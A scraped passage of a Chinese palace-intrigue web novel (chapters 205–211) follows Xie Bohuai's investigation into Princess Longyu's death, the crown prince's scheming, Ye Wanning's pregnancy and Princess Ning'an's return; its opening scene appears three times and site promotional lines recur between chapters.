一行人出了宫门,谢泊淮带着叶婉宁上马车,驶了没多久,周尚书的马车追了过来。 就是周尚书这么耿直的人,在这会都来劝两句,“隆玉公主的死已经是过去的事,逆王妃那一定要查清楚,其余的你心里有数。” “周尚书,你什么时候变圆滑了?”谢泊淮现在看到周尚书都要嘲讽一下,“这话别人来说还是正常,你来说,我都起鸡皮疙瘩,以为白天见鬼了。” “去你娘的谢泊淮,老夫还不是看在你的救命之恩上,才多说两句。你要是不听,有你哭的时候!走走走,我们走,狗咬吕洞宾,不识好人心,我真是吃饱没事干,才来说这个话。”周尚书气鼓鼓地走了。 谢泊淮却乐呵呵地笑了,目光对上叶婉宁后,再摇了摇头,“咱们回家说。”隔墙有耳。 大臣也在,叶婉宁第一次经历这种场面,若不是身边有个谢泊淮,她真不知道怎么办。 她把在白马寺遇到谢令娴的事,再次说了一遍,“回圣上,就是这么一回事。臣妇也不清楚,为什么逆王妃还能跑出来。但如果她说的是真的,还请皇上彻查此事。” 看守谢令娴的人,是皇上亲自派去的。 如果此事不是皇上授意,就是皇上身边人被收买了。想到可能是前者,几位大臣大气不敢喘,心想皇上要是对付谢泊淮,这可是铁锤对铁锤,他们最好别牵扯进去。但如果是后者,那问题就严重了。 殿内静了片刻,直到皇上发怒,“到底是谁那么大的胆子,竟然敢把人放出来蛊惑人心?来人啊,派御林军去庙里,把所有守卫和逆王妃都带到府衙审问,此事不查个清楚,朕一个都不会放过!” “禀皇上,此事还牵扯到隆玉公主之死。隆玉公主在民间颇得民心,既然有线索,不如交给微臣来彻查。”谢泊淮主动请令。 “可是子谦,你如今是摄政王,公务繁忙,哪里还有空处理这个事?”皇上没有答应,“还是让镇府司去办,你也能放心的,是吧?” 谢泊淮:“回皇上,镇府司办事,微臣确实放心。不过隆玉公主是微臣妻子的义母,也就是微臣的长辈。不管怎么样,微臣也该为了孝心出份力。” 皇上明显不想翻陈年旧账,就算隆玉公主的死有问题,也就仁政殿这些人知道,传不到外边去。 但谢泊淮去查,那就不一样。 万一谢泊淮查出皇上现在重用的人,皇上该如何处置? 顺着谢泊淮的意思,把人给处置了,那皇上还有威信吗? 可是拒绝谢泊淮,皇上现在做不到。 “行,那就让你来办。太子,你也跟着一起,正好和子谦学学怎么办事。”皇上让太子一块,是为了能从谢泊淮手里知道消息,有些事才好插手。 太子出来应了好,谢泊淮也没拒绝。 众人离开仁政殿时,太子特意跟了过来,“实在没想到,父皇身边的人,会这般没用。谢大人,父皇的皇位来得突然,你说到底该怎么办,才能坐稳皇位?” “太子殿下,微臣只懂为官之道,只会忠君爱国,其余的实在不清楚。圣上要做仁君,对天下百姓都是好事,想来日久见人心,总会被百姓们看到圣上的良苦用心。”谢泊淮说话滴水不漏。 “也是,很多事不是一朝一夕能够改变的。”太子说完叹口气,“既然如此,咱们一块为父皇好好办事,为他分忧。” 谢泊淮说是这样。 一行人出了宫门,谢泊淮带着叶婉宁上马车,驶了没多久,周尚书的马车追了过来。 就是周尚书这么耿直的人,在这会都来劝两句,“隆玉公主的死已经是过去的事,逆王妃那一定要查清楚,其余的你心里有数。” “周尚书,你什么时候变圆滑了?”谢泊淮现在看到周尚书都要嘲讽一下,“这话别人来说还是正常,你来说,我都起鸡皮疙瘩,以为白天见鬼了。” “去你娘的谢泊淮,老夫还不是看在你的救命之恩上,才多说两句。你要是不听,有你哭的时候!走走走,我们走,狗咬吕洞宾,不识好人心,我真是吃饱没事干,才来说这个话。”周尚书气鼓鼓地走了。 谢泊淮却乐呵呵地笑了,目光对上叶婉宁后,再摇了摇头,“咱们回家说。”隔墙有耳。 大臣也在,叶婉宁第一次经历这种场面,若不是身边有个谢泊淮,她真不知道怎么办。 她把在白马寺遇到谢令娴的事,再次说了一遍,“回圣上,就是这么一回事。臣妇也不清楚,为什么逆王妃还能跑出来。但如果她说的是真的,还请皇上彻查此事。” 看守谢令娴的人,是皇上亲自派去的。 如果此事不是皇上授意,就是皇上身边人被收买了。想到可能是前者,几位大臣大气不敢喘,心想皇上要是对付谢泊淮,这可是铁锤对铁锤,他们最好别牵扯进去。但如果是后者,那问题就严重了。 殿内静了片刻,直到皇上发怒,“到底是谁那么大的胆子,竟然敢把人放出来蛊惑人心?来人啊,派御林军去庙里,把所有守卫和逆王妃都带到府衙审问,此事不查个清楚,朕一个都不会放过!” “禀皇上,此事还牵扯到隆玉公主之死。隆玉公主在民间颇得民心,既然有线索,不如交给微臣来彻查。”谢泊淮主动请令。 “可是子谦,你如今是摄政王,公务繁忙,哪里还有空处理这个事?”皇上没有答应,“还是让镇府司去办,你也能放心的,是吧?” 谢泊淮:“回皇上,镇府司办事,微臣确实放心。不过隆玉公主是微臣妻子的义母,也就是微臣的长辈。不管怎么样,微臣也该为了孝心出份力。” 皇上明显不想翻陈年旧账,就算隆玉公主的死有问题,也就仁政殿这些人知道,传不到外边去。 但谢泊淮去查,那就不一样。 万一谢泊淮查出皇上现在重用的人,皇上该如何处置? 顺着谢泊淮的意思,把人给处置了,那皇上还有威信吗? 可是拒绝谢泊淮,皇上现在做不到。 “行,那就让你来办。太子,你也跟着一起,正好和子谦学学怎么办事。”皇上让太子一块,是为了能从谢泊淮手里知道消息,有些事才好插手。 太子出来应了好,谢泊淮也没拒绝。 众人离开仁政殿时,太子特意跟了过来,“实在没想到,父皇身边的人,会这般没用。谢大人,父皇的皇位来得突然,你说到底该怎么办,才能坐稳皇位?” “太子殿下,微臣只懂为官之道,只会忠君爱国,其余的实在不清楚。圣上要做仁君,对天下百姓都是好事,想来日久见人心,总会被百姓们看到圣上的良苦用心。”谢泊淮说话滴水不漏。 “也是,很多事不是一朝一夕能够改变的。”太子说完叹口气,“既然如此,咱们一块为父皇好好办事,为他分忧。” 谢泊淮说是这样。 一行人出了宫门,谢泊淮带着叶婉宁上马车,驶了没多久,周尚书的马车追了过来。 就是周尚书这么耿直的人,在这会都来劝两句,“隆玉公主的死已经是过去的事,逆王妃那一定要查清楚,其余的你心里有数。” “周尚书,你什么时候变圆滑了?”谢泊淮现在看到周尚书都要嘲讽一下,“这话别人来说还是正常,你来说,我都起鸡皮疙瘩,以为白天见鬼了。” “去你娘的谢泊淮,老夫还不是看在你的救命之恩上,才多说两句。你要是不听,有你哭的时候!走走走,我们走,狗咬吕洞宾,不识好人心,我真是吃饱没事干,才来说这个话。”周尚书气鼓鼓地走了。 谢泊淮却乐呵呵地笑了,目光对上叶婉宁后,再摇了摇头,“咱们回家说。”隔墙有耳。 第206章 表面融洽 乐哥儿两日没见到母亲,得知父亲去接母亲,今儿说什么都不肯去学堂,非要在家中等人回来。 “母亲!”乐哥儿迈着小短腿,冲了过来。 叶婉宁蹲下抱住儿子,“你今日没去读书吗?” “儿子想您,见您平安,这就去读书。”乐哥儿欢喜地道。 叶婉宁摸摸儿子的头,“乖,跟着春喜去吧。” 谢泊淮看了眼儿子,“他年纪小,主意却大得很,人也倔,不知道像谁?” 叶婉宁看着谢泊淮的身影,心想这还用说么。 二人进屋后,坐下喝了口茶,叶婉宁疲乏得很,谢泊淮过来帮她按头。 “皇上让你去查义母的事,你不出发吗?”叶婉宁问。 “不着急,现在去,待会去,都是一个样。”谢泊淮解释不是他故意拖延,“有太子在,怎么查都是一个样。真正查起来,还得是太子看不到的时候。” 叶婉宁听明白了,“早前,义母的事,你也是知……” “这事不能怪我!”谢泊淮急忙解释,“是隆玉公主让我这么做,你不能怪我。我想着她是你义母,确实有些道理,既然她自己都不想追究,那我也遵循她的意愿。” 他就怕叶婉宁生气,再三强调。 看谢泊淮这样,叶婉宁不好再说他,“义母的事,要辛苦你了。最好是有个结果,我不知谢令娴要说什么,但她肯定知道一些前因。你可以从她那里下手。她来见我,你说会不会是宫里故意的?” 可能是皇上,也可能是太子。 她实在不想和这些牵扯上,毕竟她和羲和公主算是好友。 谢泊淮说不清楚,“最好不是宫里的意思,你别想太多,该吃吃,该喝喝,一切都有我。你好好休息。” 二人说话的功夫里,门房来传话,说是太子来了,谢泊淮迎了出去。 叶婉宁隔着一道墙,听谢泊淮和太子走后,长长地叹了一口气。 她以为这个事不会牵扯到她这里,次日一早,太子妃来了。 她与太子妃,还有纯王妃那些人,都来往甚少。 但太子妃亲自上门,怎么都要去见。 太子妃出身曹家,是和皇后娘娘的同一个曹家,可见太子妃和皇后娘娘的亲近。 “我闲来无事,正好路过,不会打扰到你吧?”太子妃说话和和气气,她进屋后没有立刻坐下,而是笑盈盈地看着叶婉宁。 “不会打扰,就是您突然驾临,臣妇没有准备,实在不好意思。”叶婉宁请太子妃坐下。 太子妃说随意点就好,“你不用那么拘谨,你我差不多大,在你这里,又没有旁人能看到。你和羲和要好,便和我的妹妹是一样的。近来太子还要多拜托你家谢大人,是我们麻烦了你们。” 这话说得客客气气,一点都没架子。 叶婉宁听得心里嘀咕,要说她和羲和公主交好,不是一天两天了,怎么太子妃现在来套近乎? 突然示好,总是有原因的。 想来还是为了查义母的事。 “算不上麻烦,都是我家夫君应该做的。要说辛苦,还是太子殿下,他要操劳的东西太多了。”叶婉宁道。 太子妃浅笑着,“不说男人们的事了,咱们女人家管不了他们的事,管好内宅就是对他们最大的支持。听说你家哥儿四岁多了,真是可爱的年纪,可惜我福薄,一直没个儿子……” 往后一个时辰下来,太子妃没说一句太子和谢泊淮的事,都在讨论后宅的事,还有京城哪些好玩,就像真的是好友来做客。 叶婉宁听得多,说得少,偶尔插上两句话。 “瞧我,一说起话来就忘记时辰,还得是和你投缘,我先回了,有机会你上东宫找我。实不相瞒,东宫里的日子闷的慌,也就羲和去的时候,有点意思。”太子妃告辞离开。 叶婉宁被弄得一头雾水,傍晚谢泊淮回来,她说了这个事,“我看着,太子妃面善得很,可越是如此,我越觉得不能相信。可我又说不出她哪里不好,就是心里嘀咕得厉害。” “太子妃出身的那个曹家,你可能接触的也少,早些年,皇上还是王爷的时候,曹家就低调的厉害。尽管现在皇上登基了,但你有见曹家哪个人出来得瑟吗?” 叶婉宁说没有。 “曹家能压着整个家族的人,说明当家的是个有本事的,这样人家养出来的女儿,心机和手段都不会差,你看皇后娘娘就知道,同样看着温温和和,可真到关键时刻,还不是让羲和公主嫁给卢家?”谢泊淮看得很透彻。 经谢泊淮这么一说,叶婉宁明白了,“我知道了,以后和她相处,我会保持警惕。” 这日子,是真没有松懈的时候。叶婉宁心想。 “你别想太多,不管太子和太子妃怎么想,他们明面上,都是和和气气的。维持表面的融洽,便是好的,实际如何,并不重要。”谢泊淮道。 喜欢重生才知,我是权臣的白月光请大家收藏:()重生才知,我是权臣的白月光更新速度全网最快。 第207章 太蠢了 连着两日过去,京城里的人,都知道谢泊淮和太子在查谢令娴和隆玉公主的事。 谢令娴身边的那些守卫,全都被镇府司抓着审问,一个都没逃了。 太子亲自盯着审讯,天牢里,谢泊淮到的时候,太子跟前的两个人已经被抽昏死过去。 “殿下问出什么了吗?”谢泊淮问。 太子黑着脸说没有,“他们只说不知道,没人收买他们,只是被庙里妇人蛊惑了。” 清源寺里的姑子,都是皇家或者世家送去的妇人,大多是家里想抛弃的,就送到庙里去。一旦送到了清源寺,再也不会有人管她们,造就了侍卫们为非作歹,用这些人来寻欢作乐。 在谢泊淮带人到的时候,后院里竟然有几个小孩,都是庙里妇人生的。 “他们真是死有余辜!”太子咬着牙,查出这种事,不仅丢了整个皇家的脸面,他们还要想办法遮掩。 “既然是蛊惑,就有个谁先谁后的顺序,还有怎么蛊惑,一个个让他们说清楚,总能查出一些破绽。”谢泊淮在一旁道,“殿下只用蛮力审问,他们自然不会说。” 他和青山招招手,青山拿来烙铁,“审讯这个事,还得是镇府司的人来办,殿下一旁看着就好,正好休息一会儿。” 谢泊淮出面审问,这些酒囊饭桶的侍卫,很快说出前因经过。 最终的结果,都推向清源寺的一把手衷荣威,这人看管清源寺,却把清源寺当作自己的后宫。而谢令娴就是跟他好了,才得到机会出来见叶婉宁。 查到这个倒是符合逻辑,毕竟是一把手,才有这个能力。 谢泊淮下令抄了衷荣威家,直到衷家所有人下大狱,谢泊淮才去见衷荣威。 同行的,自然还有太子。 “你全家现在,都在天牢。如果你不说,不仅他们要死,连你养在外边的女人和孩子也要死。”谢泊淮的嗓音比天牢还要冷,“衷荣威,你一个五品的武将,怎么有那么大的胆子,敢把清源寺的妇人当作玩物?” “谢泊淮,你凭什么抄我家?”衷荣威爬了起来,愤怒地瞪着谢泊淮,但他和谢泊淮之间隔了一道栅栏,不然他必定冲过去杀了谢泊淮。 “就你坐下的那些事,抄家灭族都是小的,应该戳骨扬灰。你是为了谁,才守口如瓶呢?”谢泊淮看着衷荣威,“可是你现在身边的人,都要死了,你还在坚持什么?衷荣威,你是不是低估了镇府司的能力?” “我!” 衷荣威看着谢泊淮,捏紧了拳头,恨不得冲过去杀了谢泊淮,“我一人做事一人当,就是我自己色欲熏心,和我家人没关系。你非要逼着我给个交代,我做鬼也不会放过你。” “衷荣威,你觉得我会怕鬼吗?那我就等着你全家一百多口人来找我索命吧。”谢泊淮起身往外走,“对了,庙里的那两个男孩,也是你儿子吧。我已经都关押了起来,你是知道我名声的,你可以赌一下,我会不会心软放过他们。” 说完,谢泊淮去看太子,“殿下,咱们该走了。” “谢大人,如果衷荣威说的是真的,他的家人罪不至此。你是不是吓唬他?”太子问。 “吓唬?”谢泊淮抬抬眉头,“殿下知道先帝为何看重镇府司吗?因为镇府司从来不会让先帝担忧后患,上位者应该杀伐果决,心慈手软只会留下隐患。当然了,殿下和皇上都有仁心,您可以网开一面,微臣都听殿下的。” 太子一时没接上这个话。 等太子反应过来,谢泊淮已经走远了。 边上的侍从小声提醒,太子才回过神来,“你们说,我是不是低估了谢泊淮?” “殿下,谢大人得先帝爷看重,必定是有他的本事。小的看啊,他怕是有疑心了,咱们得另作准备。” “是啊,皇祖父最信赖谢泊淮,果然有些道理,我到底还是年轻。”太子深吸一口气,“我相信谢泊淮能干出灭了衷荣威全家的事,吩咐下去,衷荣威不能活着了。” “是,小的明白。” 另一边,谢泊淮去了关押谢令娴的地方,路上青山问了句,“大人,您真要杀了衷荣威全家吗?” “不是我要杀,是衷荣威要死了。”谢泊淮勾唇说完,不再解释,毕竟说给青山听,青山也听不明白。 进了另一处大牢,谢泊淮见到了蜷缩在角落的谢令娴。 谢令娴一看到谢泊淮,当即跪着磕头,“三叔,我求求你了,你帮帮我好不好,我只是想活着,我没想害叶婉宁。我是和她做交易而已,隆玉公主对她那么好,她肯定想知道隆玉公主的死因。求你了三叔,你帮一帮我,我真的不想死。” “谢令娴,看来你是真不知道,你被人利用了。现在不是我要你死,是你太蠢了。”谢泊淮道。 喜欢重生才知,我是权臣的白月光请大家收藏:()重生才知,我是权臣的白月光更新速度全网最快。 第208章 有喜了 谢令娴脸色惨白,她恍惚地看着谢泊淮离去的身影。 黑暗中只有一点点的光明落入大牢里,谢令娴望着那点光亮,发了疯一样地大叫又是大笑。 “谢泊淮,你回来啊!你快回来!”谢令娴知道自己离死不远了,她用头去撞木栅栏,过了许久,她才看到一个人影过来。 司砚提着一个食盒,“大人说了,您啊,是必死无疑的。既然有人想害您,不如您拉着一块儿去见阎王,也比一个人上路的好。” 食盒里是一些吃食,司砚摆了出来,“您要想好了,这是您最后的机会。您不说也没事,大人心里也知道是谁,日子久了,总能查出来。您知道大人的能耐吧?” “三叔就不能帮帮我吗?他手眼遮天,为何不能帮帮我?”谢令娴苦苦哀求,“我只想活下去,有什么错吗?” “想活没错,但是大人帮不了你。最后一刻钟了,您再不说,我也只能走了。”司砚道。 “别,我和你说……” 当司砚离开大牢后,匆匆回了谢府。 这会儿,主子们去吴家给他提亲了,没过多久,乐哥儿下学回来,他在院子里问乐哥儿都学了什么。 “书是死的,人是活的。你余先生是个学问好的,却不一定会用学问。乐哥儿你啊,以后都得靠你了,走吧,我带你去看看别的书。”司砚心情不错,小主子就是谢府的以后,他愿意倾尽全力去培养。 天色渐晚,谢泊淮和叶婉宁从吴家一块归来,吴家十分欣喜,特意留他们用了饭。 叶婉宁把司砚叫到了跟前,“你家大人感念你这些年不容易,特意把婚期定早了点,下个月十五是个好日子。你准备准备,以后要好好对人家,不许欺负人。” 司砚笑呵呵地说好,他可算盼到这一天了,“多谢大人和夫人,我会铭记在心一辈子的!” 谢泊淮嗯了一声,“好了,你去忙你的,我们要休息了。” 连着好几日,谢泊淮都没沾床,这会儿只想拉着叶婉宁快些去睡觉。 司砚识趣地走了,顺便拉走门口的青山两个,“等我成了亲,有了自个的孩子,我就不一样了。咱们几个都无父无母,以后我家就是你们家,要常来。” 青山笑着说好,“那是肯定,我才不会和你客气,到时候你别嫌我烦就是。” 折竹也点了点头,回头看了眼主屋的方向,瞧见云芝端着热水进了屋子。 家? 他也想有自己的家吧。 那边云芝送完水便退了出去,叶婉宁洗了脸,看到腰上缠来的手,拍了两下,“别闹。” “夫人就不想我吗?”谢泊淮整个人不老实地贴了上去。 “真的不行。”叶婉宁哎呀一声,转身用手抵在谢泊淮的胸膛上。 “为何不行?”谢泊淮俯身亲了一下叶婉宁的脸颊,意犹未尽地舔了舔舌头,“这会天都黑了,夫人疼疼我呗?” “谢泊淮,我是真的不行。”叶婉宁啧了一声,“我……我小日子迟了。” 谢泊淮一下没反应过来,“什么事?” “你个笨蛋脑袋,就是那事啊。”叶婉宁摸了下小腹,她并不确定,“我还没来得及请大夫,等明儿请了大夫再说。” 谢泊淮这下反应过来了,狂喜道,“你是又有孩子了吗?何必等明日,今天就去找!” 说着,谢泊淮立马跑出去,让青山去喊大夫。 院子里的人以为主子病了,青山跑得飞快,云芝担忧地进来。 等大夫来看了后,确认叶婉宁有喜,所有人松口气的同时,又恭喜起主子。 “夫人最近操劳太多,眼下月份还小,应该注意休息,不要太操心。等胎坐稳了,再说其他。”大夫开了方子,看到青山过来,赶忙摆手,“不用你背了,老夫自己回去。” 青山以为主子病了,嫌弃大夫走太慢,一路背着人狂奔过来。 谢泊淮欣喜若狂,当即给了赏钱,痴痴地看着叶婉宁还平坦的小腹,“我又要当爹了!我就说,我耕耘得那么勤快,总要有个结果。” 叶婉宁掐了一把谢泊淮,“说什么呢,还有人在!” 云芝几个抿唇偷笑,“夫人先休息,明儿一早,我给您炖燕窝粥。”说着,飞快地离开,并关了门。 喜欢重生才知,我是权臣的白月光请大家收藏:()重生才知,我是权臣的白月光更新速度全网最快。 第209章 假流言 “他现在会动吗?”谢泊淮像个新手父亲,期待地看着叶婉宁的小腹。 “怎么可能?这才一个多月,还早呢。”叶婉宁没想到那么快会有孕,原想着可能还要一些时间。 “那要什么时候?”谢泊淮已经迫不及待地想看孩子出生,“我希望这次是个女儿,那我就儿女双全了!” “我也想要个女儿,儿子也行。”叶婉宁想着以谢泊淮的能力,她和谢泊淮会儿孙满堂。 谢泊淮让叶婉宁好好休息,“司砚的婚事,你吩咐下去就好,其他的什么都别干。外边那些人和事,你也别管,只要养胎就好。叶家那里,是不是应该报个喜?” 叶婉宁说不着急,“等我回家时再说,现在还没三个月,早着呢。” “是是是,我都听你的。”现在的谢泊淮,完全不想出去了,只想在家守着夫人孩子。 叶婉宁看谢泊淮欣喜的模样,心里暖暖的,他能喜欢就好,这日子能有盼头了。 往后一段日子,叶婉宁真的不出门了,连羲和公主的帖子都拒了。 直到羲和公主出嫁前,特意跑来叶婉宁府上,才知道叶婉宁有孕。 “好啊你,我们那么好的关系,你都不和我说!”羲和公主鼓着脸生气,“你说,你是不是被外边的流言影响了?” “什么流言?”叶婉宁问。 “你不知道?”羲和公主看叶婉宁真不知道,很诧异,“你平日里不出门,总有人和你传话吧?外边好多人都在说的事,你竟然不知道?” 叶婉宁说她真的不知道,这段日子在家中养胎,外边的事,她本来就不关心,更不会特意打听。 羲和公主面色顿住,她是听了皇兄的提醒,才知道流言的事。 外边的人在说,谢令娴疯疯癫癫,乱说姑母的死和父皇有关系。 这是不可能的事。 不说父皇之前没想过皇位,就算是想,也和姑母没关系。要针对,也是对付其他皇叔。 而且谢令娴已经不太清醒,她一会说这个,一会说那个,根本不可信。 还有最重要的一点,谢令娴被关在天牢里,她说的话,谁会往外传? 是她皇兄,还是谢泊淮? 皇兄应该维护父皇的颜面,不可能做出这种事。至于谢泊淮,更不可能了,以谢泊淮的手段,如果谢令娴真的说了这些话,谢泊淮肯定和父皇翻脸。 羲和公主说了流言的事,“我是觉得那些人胡说八道,毕竟那些说书人,为了让人爱听他们讲点乱七八糟的,胡乱编一些含沙射影的故事,也是常有的。但我怕你误会了,所以我听说这个事,立马跑来找你。” 叶婉宁愣住思索,怎么会传到皇上头上? 如果是真的,谢泊淮肯定会和她说。 “我也觉得有道理,谢令娴被看押在天牢,她说的话,不可能传出来。更可能是一些心思不纯的,想要损害皇上的名声,又挑拨离间。”叶婉宁道。 “肯定是这样,太可恶了这些人!”羲和公主愤愤道,“我一定要让皇兄严查,到底是哪些人在阴暗爬行!” 她非常生气,想让乱说话的人都说不了话。 “殿下别气了,这种事,我不会信的。”从任何层面来看,即使谢令娴真的说了什么,也不可能传到市井街头。这一点,叶婉宁是信的,至于到底和皇上有没有关系,她微微皱眉,心想不要最好,她不想破坏自己和羲和公主的关系。 “你不信就好,我现在知道你是有孕才不出门,我也替你高兴。”羲和公主打心眼里祝福叶婉宁,“现在你和谢泊淮有了孩子,往后会越来越好。待会回去,我就让人送补品来,你一定要好好养着。” “多谢殿下。” 羲和公主笑道,“你和我客气什么,如果你生的是个女儿,就让我认她当义女。当时候我有什么好的,都送给她!”她自己还没有孩子,以后也不知道会不会有,现在想到叶婉宁生的孩子,应该会冰雪可爱,她也期盼起来。 “可以的,能认殿下为义母,是我孩子的福气呢。”叶婉宁摸着还平坦的小腹,这时云芝端来保胎药,她捏着鼻子喝了下去。 羲和公主光是闻着,就觉得苦,“咦,一定要喝这个吗?” “是啊,等殿下有了孩子,你会忍着喝下去的。”叶婉宁喝完要清水漱口。 羲和公主却是摇摇头,“那可不一定,说不定我孩子缘浅呢。咱们可说好了,其他日子我不管,等我成亲,你一定要来!” 叶婉宁点头说好,“那是肯定的。” 二人聊到傍晚,羲和公主才依依不舍地离开。 至于叶婉宁,等谢泊淮回来后。便问了流言的事。 “是假的。你猜得没错,不管谢令娴说了什么,都不可能传出来。不过是些乱党不死心,故意让人这么说。”谢泊淮道。 有谢泊淮这个话,叶婉宁松了口气,“每次想到这个事,我便不安心。罢了,我不想那么多,我信你可以查到真相。” 她把希望寄托在谢泊淮身上,让谢泊淮感到亲密关系下才有的依赖,不由勾起薄唇,心情很是 喜欢重生才知,我是权臣的白月光请大家收藏:()重生才知,我是权臣的白月光更新速度全网最快。 第210章 学女红 羲和公主回到宫里后,太子找了过来。 “你今儿去了谢府?”太子问。 “是啊,我以为婉宁是被挑拨了,想着去解释一下。说起来,流言的事,还是你身边的内侍在说。皇兄,你得管管他们了,不能再让他们胡说八道,免得伤了情分。” “好。”太子单手负背,又问起叶婉宁怎么回的。 羲和公主如实转述,“你今日怎么那么好奇谢府的事?总不能真和你有关系吧?” “怎么可能,我也是听到流言,怕谢泊淮误会了,这才多问一些。既然他们信我和父皇就好,这个事不用再说了。”太子转而聊到羲和的陪嫁上。 皇上和皇后就羲和一个嫡女,还让羲和嫁给不喜欢的人,故而在陪嫁上,十分丰厚,比她第一次出嫁还要多。 不过说到出嫁的事,羲和公主没什么兴趣,转而问起太子妃有没有身孕。 太子成婚后,只和太子妃生了一个女儿,这些日子,一直在努力造人,就是还没结果。 这事又是太子不想聊的,兄妹俩也就这么散了。 看着太子走远,羲和公主撇撇嘴,“皇兄越来越讨人厌了,只许他说我不喜欢的,我才问一句便黑了脸。” 罢了,她不和皇兄计较。 朝堂上的事她不明白,却也知道谢泊淮权势太大,好在谢泊淮不像以前那么嚣张,懂得退让了。她希望谢泊淮能和皇兄他们和睦共处,不然她会很为难。 陪嫁上的事,羲和公主一点都不上心,反而叫来绣娘,让人教她学做小衣裳。 皇后来的时候,羲和公主的手被扎了好几下。 “你怎么做起女红来,你不是最讨厌这个?”皇后娘娘对女儿有愧疚,现在面对羲和公主,说话轻声细语。 “我是讨厌做女红,但婉宁答应我了,让我做她孩子的干娘。金银珠宝那些,婉宁并不缺,我觉得自己做的最有心意。就算再讨厌,我也要亲手给她的孩子做一件衣裳。”羲和公主想到要当干娘,非常期待。 皇后愣了下,“这么说来,谢泊淮要当爹了。” “是啊,他可高兴了,难怪他最近不爱上朝,原来是家中有了喜事。”羲和公主又被针扎了一下,气得丢了针。但是骂了两句,又把针捡起来。 皇后看羲和公主那么认真,眉心微微拧起,“你和叶婉宁那么好,就不怕以后闹掰了吗?” “怎么可能闹掰?婉宁是最讲道理的人,我虽然任性,却也不会太刁蛮。母后,您就别替我操心了,我的这点事,我自个儿能做好。”说着,羲和公主又让绣娘再教她一遍。 女红实在太难,羲和公主学了两日,针脚才好看一点。她想拿去给叶婉宁炫耀,却得知了一个事,宁安的夫君死了,她写了信回来,说想回来。 得知这个事,羲和公主转头跑去仁政殿,正好谢泊淮也在。 “父皇,宁安姐姐要回来了吗?”她着急地跑进去,内侍没能拉住她。 “没规矩,这里是仁政殿,你怎么能贸然跑进来?”皇上发怒骂了羲和公主,但她没听进去,只想问个结果,气得皇上让太子动手,“把你皇妹带走,再不走,朕打她二十板子!” 为了宁安的事,皇上本就心烦,被羲和公主这么搅和,心情更差。 羲和公主说她错了,但她非要问个明白,被太子拉到偏殿,不解地道,“干嘛不让我问?” “你知道宁安是谁的女儿吗?”太子沉眸质问。 “知道啊,但她爹不是死了么,她哥哥也被幽禁。就算她回来了,也对你和父皇没影响啊!”羲和公主道。 太子看着单纯的妹妹,眉头皱得更紧,“羲和,你太天真了!” 宁安是能谋划杀未婚夫的人,若是她回来,怎么可能太平? 看太子不说话,羲和公主后知后觉地问,“所以你们不想她回来是吗?她可是替我们和亲。吃了不少苦头的,要是你与父皇拦着,百姓们会说你们的!” 就是因为这个,皇上才头疼。 此时的皇上,发愁地看着谢泊淮等大臣,没等来其他大臣给出满意的答复,他只能把目光落在谢泊淮身上,“子谦,你怎么说?” 喜欢重生才知,我是权臣的白月光请大家收藏:()重生才知,我是权臣的白月光更新速度全网最快。 第211章 宁安回京 最近这段日子,谢泊淮像是刺猬收起刺,好似从前那些乖张戾气的事都不是他做的。 有时候,连一些大臣都会产生一种怀疑,谢泊淮是不是变得好说话了。 他们全部看向谢泊淮,等谢泊淮做出回答。 谢泊淮低眉浅笑,“宁安公主和亲有功劳,既然她想归乡,自然应该想想法子。” 这不是皇上想听到的答复,但谢泊淮开了口,其他人纷纷附和。 “是啊,宁安公主和亲三年,不知道吃了多少苦头。” “她不过是个女子,成不了气候,皇上迎她回来,还可以留个美名。” “微臣也觉得谢大人说得对。” “臣等附议。” …… 就算有一些不同意的,也被一声声的附议中淹没,皇上的目光穿过人群,落在谢泊淮身上。 谢泊淮却一直没抬头,直视天子,那可是要被处罚的。 出了仁政殿,谢泊淮走在前头,身后没人敢靠近。 直到出了宫门,周尚书才到谢泊淮边上,问他什么意思。 “我能有什么意思?”谢泊淮笑了,“皇上问我什么想法,我说出心中想法。最后做决定的,还是皇上。” “这种时候,你不知道皇上的想法吗?”周尚书皱紧眉头。 谢泊淮却饶有趣味地打量周尚书,“尚书大人,你是真的老了,怕死了吗?皇上的想法重要,还是正确的事更重要?若是你来说天恩皇权,让我小心一些,那你看错了人,我就不是个会怕的人。” 谢泊淮翻身上了马,“周大人,你若是真怕死了,就离我远一点,免得让你被牵连。” 被谢泊淮一顿好怼的周尚书,对着谢泊淮的背影破口大骂,“狗咬吕洞宾,不识好人心,活该你讨人厌!” 谢泊淮只听到了几个字,但他无所谓周尚书怎么骂,至于宁安公主嘛,那是一定要让她回来的。 回到家中,谢泊淮还是如前几日一样,不管朝政,只陪着叶婉宁。 而宁安公主的事越来越多人知道,最后皇上迫于压力,只能让人去接宁安公主。 得知宁安公主要回来,羲和公主来找了叶婉宁。 她风风火火,一路小跑着到叶婉宁屋子里,“婉宁你听说没,宁安要回来了,她真的要回来了!” 叶婉宁刚喝完一碗药,有些苦涩,小口抿着梅子茶,“殿下很想宁安公主回来?” “为什么不想呢?”羲和公主反问,“我与她从小一块长大,她虽然常和我争吵,也处处出风头压着我。但真有事时,她也会护着我。婉宁,我没什么朋友,她可以算一个。” 叶婉宁听得眉头微微皱起,羲和公主天真可爱,她们姐妹以前有真感情,可是物是人非,还能回到从前吗? “如果是我去和亲吃了那么多苦,她应该也会惦记我吧?这些年,我给她写了好多信,她都没回一封,真是个没良心的,等她回来,我一定要好好说说她。”嘴上这么说,羲和公主却一直在笑,“其实我觉得,我皇兄他们想太多了,宁安又当不了女帝,和姑母一样,好吃好喝地供养着,不就行了吗?” 为了这个事,她还和皇兄吵了一架,实在不理解皇兄在担心什么。 叶婉宁却是能明白太子的想法,不过这个事,她掺和不了,也就听为主。 这个事定下后,先是羲和公主的婚宴,再到十二月下旬,宁安公主赶着除夕前,回到了京城。 喜欢重生才知,我是权臣的白月光请大家收藏:()重生才知,我是权臣的白月光更新速度全网最快。